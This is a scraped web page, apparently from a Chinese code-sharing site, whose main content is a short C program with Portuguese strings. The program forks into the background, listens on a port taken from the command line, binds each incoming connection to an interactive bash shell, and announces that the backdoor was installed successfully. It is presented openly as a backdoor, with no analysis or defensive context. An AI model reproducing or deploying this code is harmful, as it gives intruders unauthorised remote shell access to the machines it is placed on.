| 关键词: nbsp include local sockaddr socketa struct socket close tamanho sizeof |
#include <stdlib.h>#include <stdio.h>#include <errno.h>#include <strings.h>#include <unistd.h>#include <netinet/in.h>#include <sys/socket.h>#include <sys/types.h>#include <signal.h>#define BACKLOG 7int main(int argc, char *argv[]){ int b_socket, b_socketa; int tamanho; struct sockaddr_in local; struct sockaddr_in remoto; if(fork() == 0){ bzero(&local, sizeof(local)); local.sin_family = AF_INET; local.sin_port = htons(atoi(argv[1])); local.sin_addr.s_addr = INADDR_ANY; bzero(&(local.sin_zero), 8);b_socket=socket(AF_INET, SOCK_STREAM, 0);bind(b_socket, (struct sockaddr *)&local, sizeof(struct sockaddr));listen(b_socket, BACKLOG);tamanho = sizeof(struct sockaddr_in);while(1){if((b_socketa=accept(b_socket, (struct sockaddr *)&remoto,&tamanho))) { close(0); close(1); close(2); dup2(b_socketa,0); dup2(b_socketa,1); dup2(b_socketa,2); execl("/bin/bash -i","bash",(char *)0); printf("NSG wins !! Backdoor instalada com sucesso, mano!\n\n"); close(b_socketa); exit(0); } if (!fork()) { perror("\nErro, cara!"); exit(1); } } } return(0);} |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|